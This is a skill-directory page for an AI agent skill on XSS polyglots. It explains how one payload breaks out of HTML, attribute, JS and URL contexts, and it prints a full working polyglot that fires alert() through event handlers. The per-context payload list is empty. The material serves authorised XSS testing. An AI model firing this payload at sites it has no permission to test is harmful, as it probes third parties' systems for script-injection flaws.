Payloads xss polyglots

From NoorQureshi/security-skills · View interactive version

Payloads xss polyglots is an AI agent skill from the GitHub repository NoorQureshi/security-skills. Context-breaking XSS polyglots and per-context payloads that fire across HTML/attribute/JS/ URL sinks in one shot. Load when confirming XSS fast, unsure of the injection context, or a single test payload should cover many contexts. Signals: reflected input, XSS triage, "polyglot".

How to use this skill

Skill file

XSS polyglots & per-context payloads

When it applies

You want one payload that reveals reflection/execution regardless of where it lands, then a

context-specific finisher once you know the spot. Pairs with web-xss.

Why it works

A polyglot is crafted to be syntactically valid (and break out) in multiple contexts at once —

HTML body, attribute, JS string, comment — so a single injection surfaces the vulnerable context.

Payloads

Polyglot (fires broadly):

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Per context (once you know where you landed):

WAF-resistant variants: see payloads-waf-bypass (event/tag variety, encoding, no-parens).

Gotchas

References

PortSwigger XSS cheat sheet; 0xsobky "Unleashing an Ultimate XSS Polyglot".

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.